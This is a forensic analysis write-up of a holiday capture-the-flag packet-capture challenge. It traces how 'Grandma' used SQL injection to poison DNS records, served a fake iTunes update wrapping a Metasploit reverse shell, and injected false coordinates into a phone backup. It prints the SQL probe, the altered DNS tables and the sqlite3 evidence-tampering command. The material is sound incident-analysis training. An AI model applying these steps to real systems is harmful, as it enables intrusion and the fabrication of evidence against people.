2. 1 Overview
1.1 Significant events
Table 1 provides a summarization of the most significant events identified and analyzed
on the following pages.
Time Event
#
1 13:51 Email from Grandma to Mel revealing a plot to frame Rudolph of her murder,
mail has hidden content which reveals Grandma’s current location.
2 13:51 Probing of Web server, attacker finds that the server is vulnerable to SQL
injection (source 192.168.1.10)
3 13:52 SQL injection on web server, injections of data which results in specific
apple.com hosts resolving to 192.168.1.10. (DNS poisoning)
4 13:57 Rudolph computer tries to update iTunes, but due to DNS poisoning is
redirected to a service provided by the attacker which servers a piece of
malware used by the attacker inject a set of coordinates (40.7715,-73.978833)
into a backup of Rudolph’s cellular phone..
Table 1: Significant events
1.2 Attack visualization
Based on the analysis in section 2 the following visualization has been generated - this
visualization is pretty self explanatory and is included as an easy way to grasp how the
attack were orchestrated.
Mail with hidden content Mail Server
(Grandma -> Mel) 192.168.1.3
DNS poisoning(sql injection)
DNS and
Get iTunesUpdate Web Server
Uses DNS 172.19.79.2
Attacker
192.168.1.10 Reverse shell
Target
(Grandma) 172.19.79.6
Get sqlite.exe (ftp)
(Rudolph)
Change iPhone
coordinates
Delete sqlite.exe
Figure 1: Attack visualization
2
3. 2 Analysis
An in-depth analysis of the most significant hosts and events found in the provided packet
dump.
2.1 Hosts analysis
Form, identify and miscellaneous information on the most prominent hosts active in the
packet dump, this provides a reference point for further analysis done in 2.2.
2.1.1 IP 192.168.1.10
Accordingly to headers extracted from email and http this host appears to be running a
Linux i686 variant as OS, using Firefox as a browser (See snippet 1: line 2 and 3) and
Alpine as email client. Furthermore it appears that the operator using 192.168.1.10 is do-
ing so using a administrative account (root) and that the operator is know as “Grandma”
(See snippet 2: line 2, 3, 4 and 5).
Snippet 1 HTTP client headers from 192.168.1.0
1 GET / HTTP/1.1
2 Host: www.santaslist.northpole
3 User−Agent: Mozilla/5.0 (X11; Linux i686; rv:2.0.1) Gecko/20100101 Firefox/4.0.1
Snippet 2 Email headers from 192.168.1.10
1 Date: Sun, 25 Dec 2011 07:42:26 −0500 (EST)
2 From: Grandma <root@grandma.gma>
3 X−X−Sender: root@bt
4 To: cousinmel@mail.gma
5 Subject: Christmas
6 Message−ID: <alpine.DEB.2.02.1112250741440.7396@bt>
7 User−Agent: Alpine 2.02 (DEB 1266 2009−07−14)
8 MIME−Version: 1.0
9 Content−Type: MULTIPART/MIXED; BOUNDARY="0−471592043−1324816946=:7396"
2.1.2 IP 172.19.79.2
Web server serving www.santaslist.northpole, running Apache 2.2.15 on CentOS and
using PHP 5.3.2. (See snippet 3).
Snippet 3 HTTP headers from webserver www.santaslist.northpole
1 HTTP/1.1 200 OK
2 Date: Sun, 25 Dec 2011 12:52:58 GMT
3 Server: Apache/2.2.15 (CentOS)
4 X−Powered−By: PHP/5.3.2
3
4. 2.1.3 IP 172.19.89.6
Accordingly to headers(see snippet 4) extracted from HTTP requests this system is
running Windows XP Professional SP3 and have an outdated version of iTunes installed
(10.3.1), furthermore path-naming and username information were foud which indicates
that the owner of this system is named Rudolph as shown in snippet 5.
Snippet 4 HTTP header from 172.19.89.6
1 GET /bag.xml?ix=4 HTTP/1.1
2 User−Agent: iTunes/10.3.1 (Windows; Microsoft Windows XP Professional Service Pack 3 (Build 2600))
AppleWebKit/533.21.1
Snippet 5 Indications of identify on 172.19.89.6
1 C:Documents and SettingsRudolphApplication DataApple ComputerMobileSyncBackup
e409a4c01ece2a9e6bf9267b169f3b15616b98cd>ftp −A 192.168.1.10
2 [...]
3 Anonymous login succeeded for Rudolph@RUDOLPH−PC
4
5. 2.2 Detailed analysis
This section will prove a detailed analysis of each significant event as listed in table 1 on
page 2.
2.2.1 #1 - Email from Grandma to Mel
At 13:51 an email was sent from Grandma to Mel, this mail appears at first looks to
contain only a mail message (snippet 6) and a MIME embedded work document (content
shown in 7), however during forensic analysis of the word document a hidden messages
from Grandma were detected in the comment property of the metadata affiliated with
the word document as shown in snippet 8.
Snippet 6 Text content of mail from Grandma to Rudolph
1 Dear Mel,
2
3 Our plans are almost complete, and I am very excited. Soon, you and I
4 shall be spending the rest of our days relaxing in the surf and sun!
5 The plan is highly sensitive, a deep secret that only the two of us share.
6 Never tell another soul about our clever scheme as long as you live.
7 As we discussed, I recently made you the sole beneficiary of my life
8 insurance policy. On Christmas Eve, I plan on faking my own death, which
9 I will frame as murder on Rudolph, Santas obnoxious reindeer.
10
11 The details of my plan are included in the attached document below. Read
12 it carefully.
13
14 Merry Christmas!
15
16 Grandma
5
6. Snippet 7 Content of attached file in mail from Grandma to Mel
1 Dear Mel,
2
3 Here are the details of my secret plan.
4
5 After the investigation turns up the evidence I plant, you provide eyewitness testimony in court, and
6 Rudolph is convicted, you will receive the insurance payout. We can then use that money to fund our
7 Caribbean retirement.
8
9 I am not sure I ever told you this, Mel, but as a child, my village was attacked by a ravenous band of
10 rampaging reindeer, instilling a life−long hatred in me for the flea−bitten beasts. Ill never forget
11 their horrible comments as they galloped through our village. Because of that chilling childhood
12 experience, Im going to fake my death and blame it all on Rudolph, the most well−known reindeer of all.
13 Hell rot away in jail forever.
14
15 Merry Christmas,
16
17 Grandma
Snippet 8 Message hidden in file comment of attached file
1 I will hide out at the Plaza Hotel near Central Park for several weeks, and meet you there in the lobby
2 exactly one week after the trial concludes with a guilty verdict for Rudolph, precisely at noon local
3 time. Make sure you bring the money in a suitcase full of cash. Ill be wearing one red shoe.
2.2.2 #2 - Probing of web server
Soon after issuing the mail previously mentioned, the attacker launched a series of probes
on a web server (172.19.79.2). Initially the attacker issued a few HTTP probes, shown
in snippet 9, the purpose of these probes is assessed to be information gathering and
identification of vulnerabilities. The attacker successfully identified a SQL injection vul-
nerability by injecting a single quote (hex value 27) as a value to the name parameter
in the naughty list form, the server response suggesting this vulnerability is shown in
snippet 10.
6
7. Snippet 9 Generic probing
• GET / HTTP/1.1
• POST /checklist.php HTTP/1.1
– name=Grandma
– name=Cousin+Mel
– name=%27
Snippet 10 SQL Injection probe
1 HTTP/1.1 200 OK
2 Date: Sun, 25 Dec 2011 12:53:28 GMT
3 Server: Apache/2.2.15 (CentOS)
4 <−− CUT −−>
5 <tr><th>Name</th><th>Status</th></tr>
6 You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version
for the right syntax to use near ’’’’’ at line 1</table>
7 </body></html>
2.2.3 #3 - SQL injection (DNS Poisoning)
The attacker starts out by injecting a few SELECT queries to identify the data and
schema already stored in the database, the results are displayed enumerated in the
naughty list as shown in figure 2 on the next page, after a few queries the attacker is able
to reconstruct the relevant parts of the DNS database as shown in table 2a on page 9. The
attacker then injects a single Start of Authority (SOA) record in the MYDNS.soa stat-
ing that the origin apple.com is best resolved at ns1.santaslist.northpole, which in plain
english states that ns1.santaslist.northpole is the best place to lookup *.apple.com host
names. Lastly a series of apple.com hosts are injected into the Resource Record (RR)
table stating that the specified hosts resolved to 192.168.1.10 - again in plain English
this states that when a client lookups one of the injected hostsname they will resolve to
192.168.1.10 - which is the IP of the attacker. A full overview of the SOA and RR tables
after the attacker successfully has conducted his DNS poisoning is shown in table 2b on
page 9.
7
8. Figure 2: HTML feedback after SQL injection of SELECT statement
8
9. Original soa Table
MINIMUM
REFRESH
EXPIRE
ORIGIN
SERIAL
RETRY
MBOX
TTL
NS
ID
604800
28800
86400
86400
7200
25
1 santaslist.northpole ns1.santaslist.northpole root.santaslist.northpole
Original rr Table
ID ZONE NAME TYPE DATA AUX TTL
1 1 @ NS ns1.santaslist.northpole 0 86400
2 1 ns1.santaslist.northpole A 172.19.79.2 0 86400
3 1 www.santaslist.northpole A 172.19.79.2 0 86400
(a) DNS tables before SQL injection
Modified soa Table
MINIMUM
REFRESH
EXPIRE
ORIGIN
SERIAL
RETRY
MBOX
TTL
NS
ID
604800
28800
86400
86400
7200
25
1 santaslist.northpole ns1.santaslist.northpole root.santaslist.northpole
604800
28800
86400
86400
7200
2 apple.com ns1.santaslist.northpole root.santaslist.northpole
1
Modified rr Table
ID ZONE NAME TYPE DATA AUX TTL
1 1 @ NS ns1.santaslist.northpole 0 86400
2 1 ns1.santaslist.northpole A 172.19.79.2 0 86400
3 1 www.santaslist.northpole A 172.19.79.2 0 86400
4 2 itunes.apple.com A 192.168.1.10 86400
5 2 ax.init.itunes.apple.com A 192.168.1.10 86400
6 2 swcatalog.apple.com A 192.168.1.10 86400
7 2 swcdn.apple.com A 192.168.1.10 86400
8 2 swscan.apple.com A 192.168.1.10 86400
(b) DNS tables after SQL injection
Table 2: DNS tables before and after malicious modification.
9
10. 2.2.4 #4 - Infection of Rudolphs computer
The infection process
The target is infected through a malicious iTunes update, the attacker has made arrange-
ments as described in 2.2.3 to make specific apple.com hosts resolve to his own machine
(192.168.1.10) where he is hosting a malicious update service serving malware instead
of legit updates - it is likely that the attacker is using EvilGrade1 (or a similar tool) to
facilitate this. The requests from the target’s iTunes instance to the malicious update
service are shown in table 3. An analysis of the traffic has shown that the target is using
an old version of iTunes (10.3.1) which is vulnerable2 to this specific attack vector which
allows download and execution of unsigned updates.
Client request Intended host
GET /bag.xml?ix=4 ax.init.itunes.apple.com
GET /version?machineID=101a1a42c676ea68 itunes.apple.com
GET /content/catalogs/others/index-windows-1.sucatalog swcatalog.apple.com
GET /content/downloads/14/21/[SNIP]/061-4339.English.dist swcatalog.apple.com
GET /iTunesSetup.exe swcatalog.apple.com
Table 3: Update requests
The malware
After execution of the malware, the malware tries to connect back to the attacker on port
1225 using a standard TCP three way handshake - after the connection is established the
malware seemingly awaits stimulus before acting further, this stimulus was captured in
the provided PCAP show in figure 3 on the following page, when comparing this stim-
ulus with the shell.rb source code of Metasploit, as shown in figure 4 on the next page,
it can be concluded with little doubt that the malware is a legit binary3 wrapped with a
Metasploit reverse_tcp stager - and that the actual staging used by attacker is a shell.
1
http://www.infobytesec.com/down/isr-evilgrade-Readme.txt
2
Fixed in 10.5.1 http://support.apple.com/kb/HT5030?viewlocale=en_US
3
Apache Bench - found by static analysis of the binary.
10
11. Figure 3: Malware stimulus (blue is attacker data, red is target data)
Figure 4: Metaspoit source code (/modules/payloads/stages/windows/shell.rb)
A test was conducted in an isolated environment using two hosts - a Windows XP SP3
running the malware (extracted from the PCAP) and Backtrack 5R2 running Meatas-
11
12. ploit. As shown in figure 5 the test demonstrated that the malware actually works as
described above.
Figure 5: Injection of shell payload.
Modification of coordinates on Rudolph’s computer.
At this point the attacker has shell access to Rudolph’s computer where he downloads
a copy of sqlite3.exe from his own machine. The attacker uses this tool to inject a set
of coordinates into a backup of Rudolph’s phones cellular location database which is
stored locally on Rudolph’s computer. The coordinates and timing injected matches the
crime-scene4 , as shown in figure 6 on the following page, - which would lead a forensic
investigator to the conclusion that Rudolph, or at least his phone, was at the crime-scene
when the alleged crime occurred.
Snippet 11 Command used to inject data
1 sqlite3 4096c9ec676f2847dc283405900e284a7c815836 "insert into CellLocation values
(310,410,11250,116541837,346471200.820172,40.7715,−73.978833,1414,0,−1,−1,−1,50)"
The manipulated celluar location database is shown in snippet 12 on the next page(the
injected data is shown on line 23).
4
Crime-scene coordinates was extracted from the photo of the crimescene - http://pen-testing.sans.
org/images/challenges/holiday/evidence.jpg
12
14. 3 Answers to challenge questions
According to the packet capture file, what was Grandma’s grand plan for
Christmas day?
Fake her own death and frame Rudolph of her disappearance.
Why did the geo-location information on Rudolph’s computer, synced from his cell
phone, show that Rudolph was in Central Park during the attack? Please describe
each technical step that lead to this "evidence" presented in court.
Grandma, the über hacker, hacked Rudolph’s computer and injected a set of coordinates
into a software backup of Rudolph’s cellular phone. The technical steps are described in
section 2.2.
Where should the authorities look for Grandma?
In Plaza Hotel near Central Park, see snippet 8 on page 6.
Based on the evidence in the packet capture file, who is guilty in this story?
Dear old Grandma is guilty of framing Rudolph of her disappearance and insurance fraud.
14